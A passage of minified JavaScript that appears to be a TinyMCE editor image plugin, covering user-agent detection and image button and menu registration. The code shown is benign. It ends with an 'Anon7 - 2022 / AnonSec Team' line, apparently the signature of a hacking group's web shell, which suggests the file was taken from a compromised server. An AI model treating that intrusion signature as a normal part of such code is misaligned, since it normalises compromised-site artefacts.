n,t,r,i,o,a,u,s,c,l,f,d=Ln.browsers(),m=Ln.oses(),g=An(d,e).fold(yn.unknown,yn.nu),p=Cn(m,e).fold(Dn.unknown,Dn.nu);return{browser:g,os:p,deviceType:(t=g,r=e,i=(n=p).isiOS()&&!0===/ipad/i.test(r),o=n.isiOS()&&!i,a=n.isAndroid()&&3===n.version.major,u=n.isAndroid()&&4===n.version.major,s=i||a||u&&!0===/mobile/i.test(r),c=n.isiOS()||n.isAndroid(),l=c&&!s,f=t.isSafari()&&n.isiOS()&&!1===/safari/i.test(r),{isiPad:h(i),isiPhone:h(o),isTablet:h(s),isPhone:h(l),isTouch:h(c),isAndroid:n.isAndroid,isiOS:n.isiOS,isWebView:h(f)})}},Mn=((We=function(){var e=s.navigator.userAgent;return kn(e)},$e=!1,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return $e||($e=!0,Xe=We.apply(null,e)),Xe}()).browser.isIE(),function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]}("element","offset"),function(o){o.ui.registry.addToggleButton("image",{icon:"image",tooltip:"Insert/edit image",onAction:an(o).open,onSetup:function(e){return o.selection.selectorChangedWithUnbind("img:not([data-mce-object],[data-mce-placeholder]),figure.image",e.setActive).unbind}}),o.ui.registry.addMenuItem("image",{icon:"image",text:"Image...",onAction:an(o).open}),o.ui.registry.addContextMenu("image",{update:function(e){return Ne(e)||"IMG"===e.nodeName&&!ue(e)?[(i=e,{text:"Image",icon:"image",onAction:function(){var e,n,t,r=((We=function(){var e=s.navigator.userAgent;return kn(e)},$e=!1,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return $e||($e=!0,Xe=We.apply(null,e)),Xe}()).browser.isIE(),function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]}("element","offset"),e=fn.fromDom(i),(n=e,t=n.dom(),w.from(t.parentNode).map(fn.fromDom)).filter(function(e){return"figure"===e.dom().nodeName.toLowerCase()}).getOr(e));o.selection.select(r.dom()),an(o).open()}})]:[];var i}})});i.add("image",function(e){cn(e),Mn(e),un(e)}),function Hn(){}}(window);

Anon7 - 2022
AnonSec Team